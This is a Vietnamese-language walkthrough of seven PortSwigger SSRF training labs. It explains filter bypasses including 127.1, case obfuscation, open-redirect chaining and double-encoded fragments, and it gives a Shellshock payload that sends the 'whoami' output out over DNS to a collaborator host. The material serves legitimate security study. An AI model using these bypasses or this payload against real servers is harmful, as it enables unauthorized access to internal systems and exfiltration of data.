# Portswigger Server-Side Request Forgery (SSRF) 🥶
<style>body {text-align: justify}</style>
Hi, dưới đây là writeup của 7/7 bài lab về lỗ hổng [SSRF](https://portswigger.net/web-security/ssrf) mình đã solve trong quá trình ôn tập thi chứng chỉ của Portswigger.
### 1. Basic SSRF against the local server
##### Description
> This lab has a stock check feature which fetches data from an internal system.
>
> To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user `carlos`.
##### Writeup
Ứng dụng web bán hàng có chức năng kiểm tra số hàng trong kho của mỗi sản phẩm `Check stock`.
Khi thực hiện `Check stock`, một POST request gửi đến `/product/stock` với body là địa chỉ đường dẫn một API. Có thể hiểu rằng server query lên API lấy kết quả trước khi trả về cho người dùng.
Tuy nhiên, mình có thể SSRF - sử dụng chính `stockApi` này để query lên các local URL. Để solve challenge, ta sẽ vào `http://localhost/admin`.
Kết quả ta đã vào được trang admin. Bây giờ thực hiện truyền vào `stockApi` giá trị `http://localhost/admin/delete?username=carlos` để xóa user carlos.
Xóa thành công và ta solve được challenge.
### 2. Basic SSRF against another back-end system
##### Description
> This lab has a stock check feature which fetches data from an internal system.
>
> To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.
##### Writeup
Ứng dụng lab này tiếp tục bị dính SSRF tại chức năng check stock. Tuy nhiên, lần này ta sẽ đi thực hiện request đến trang admin của ứng dụng web khác có địa chỉ `http://192.168.0.X:8080/admin`. Ta phải đi tìm `X` bằng cách bruteforce 255 giá trị từ `1-255` bằng Intruder.
Kết quả trả về với `http://192.168.0.171:8080/admin`, ta truy cập được trang admin thành công.
Thực hiện xóa user `carlos`.
Xóa thành công và ta solve được challenge.
### 3. SSRF with blacklist-based input filter
##### Description
> This lab has a stock check feature which fetches data from an internal system.
>
> To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user `carlos`.
>
> The developer has deployed two weak anti-SSRF defenses that you will need to bypass.
##### Writeup
Bài này nâng cấp hơn bằng cách blacklist filter một số chuỗi như `localhost`, `127.0.0.1`, ... Thử với payload `http://localhost` thì bị trả `400 Bad Request`. Tương tự với `127.0.0.1`.
Ta sẽ bypass bằng `http://127.1`. Lúc này ta truy cập được trang chủ thành công.
Thử vào `http://127.1/admin` thì bị `400 Bad Request` → chuỗi `admin` bị filter.
Ta bypass bằng cách obfuscate `admin` thành `AdMiN` hoặc `AdmIn`, ...
Sau khi bypass thành công, ta vào được trang admin và xóa user carlos.
Xóa thành công và ta solve được challenge.
### 4. SSRF with filter bypass via open redirection vulnerability
##### Description
> This lab has a stock check feature which fetches data from an internal system.
>
> To solve the lab, change the stock check URL to access the admin interface at http://192.168.0.12:8080/admin and delete the user carlos.
>
> The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.
##### Writeup
Thực hiện gán `stockApi=http://192.168.0.12:8080/admin` luôn thì bị trả về `400 Bad Request` vì server đã validate URL này.
Tuy nhiên, để ý tại mỗi post sản phẩm có chức năng chuyển trang `Next product`.
Click thử và bắt request, ta thấy nó là GET request `/product/nextProduct?currentProductId=2&path=/product?productId=3` có chứa 1 tham số `path` là đường dẫn đến post sản phẩm tiếp theo.
Như vậy ta sẽ thử SSRF tại stockApi với đường dẫn như `/product/nextProduct?currentProductId=2&path=/product?productId=3`. Kết quả truy cập thành công. Server có thể không validate tham số `path` này, và ta sẽ tận dụng nó để SSRF đến ứng dụng cần tấn công.
Truyền `path=http://192.168.0.12:8080/admin`, ta đã truy cập được trang admin của ứng dụng khác thành công.
Thực hiện xóa user carlos.
Xóa thành công và ta solve được challenge.
### 5. Blind SSRF with out-of-band detection
##### Description
> This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
>
> To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.
##### Writeup
Ứng dụng lab này sử dụng 1 software khác luôn fetch đến URL tại trường header Referer mỗi khi user truy cập 1 trang sản phẩm bất kì. Như vậy ta có thể OOB SSRF bằng cách đưa vào trường Referer URL mà mình control. Sử dụng Burp Collaborator.
Gủi request và kiểm tra log của Burp Collaborator, ta thấy HTTP kèm theo DNS query được gửi đến URL. Điều này chứng tỏ software trên đã truy cập đến URL mà mình đã define trong trường Referer.
Ta solve được challenge thành công.
### 6. SSRF with whitelist-based input filter
##### Description
> This lab has a stock check feature which fetches data from an internal system.
>
> To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user `carlos`.
>
> The developer has deployed an anti-SSRF defense you will need to bypass.
##### Writeup
Đối với bài này, ứng dụng thực hiện filter theo whitelist. Cụ thể, khi gán `stockApi=http://localhost` thì server trả về 400 Bad Request yêu cầu URL cần có host `stock.weliketoshop.net`.
Sử dụng fragment `#` để bypass không thành công.
Thử dùng chèn thêm tài khoản trước hostname bằng `@` thì thấy server đã trả 500 response chứng tỏ server đã cố gắng connect đến URL đó không thành.
Lúc này thử kết hợp fragment `#` (encoded) vào sau localhost và `@`. Tuy nhiên kết quả lần này đã bị fail.
Double encoded `#` thành `%2523` thì thấy, ta đã truy cập thành công trang `localhost` → lỗi parse URL lúc validate URL.
Bây giờ chỉ cần `/admin` để truy cập trang admin.
Thực hiện xóa user `carlos`.
Xóa thành công và ta solve được challenge.
### 7. Blind SSRF with Shellshock exploitation
##### Description
> This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
>
> To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.
##### Writeup
Ứng dụng web tại lab này cũng dính lỗi Blind SSRF tại trường Referer. Mục tiêu của bài lab này phải RCE được server khác và lấy được tên OS user.
Sử dụng extension **Collaborator Everywhere** để test Blind SSRF của ứng dụng này. Trước tiên, thêm URL của ứng dụng vào `Scope` tại mục `Target` để **Collaborator Everywhere** hỗ trợ.
Truy cập vào một trang sản phẩm bất kì, xuất hiện một số ping back connection đến collaborator, trong đó có connection từ trường Referer và User-Agent. Có thể khi phần mềm phân tích được sử dụng fetch URL tại Referer (1 ping back connection) thì trường User-Agent của request ban đầu được sử dụng cho request này. Lúc này xảy ra thêm 1 ping back connection nhờ trường User-Agent này nữa.
Do đó, dựa vào mô tả bài toán, ta sẽ tạo 1 payload shellshock (đọc thêm tại [đây](https://www.exploit-db.com/docs/english/48112-the-shellshock-attack-%5Bpaper%5D.pdf?utm_source=dlvr.it&utm_medium=twitter)) chèn vào User-Agent để khi phần mềm phân tích fetch URL `http://192.168.0.X:8080` thì payload đó sẽ được thực thi.
```() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN```
Vì ta cần lấy tên OS user nên sẽ dùng output của lệnh `whoami`. Và để đảm bảo thành công, ta sẽ bruteforce X từ 1 đến 255.
Kết thúc bruteforce và ta nhận được kết quả tại Collaborator Client với các DNS query chứa tên OS user cần tìm.
Submit kết quả và ta solve được challenge.
###### tags: `portswigger`, `ssrf`
Sign in with Wallet
Connect another wallet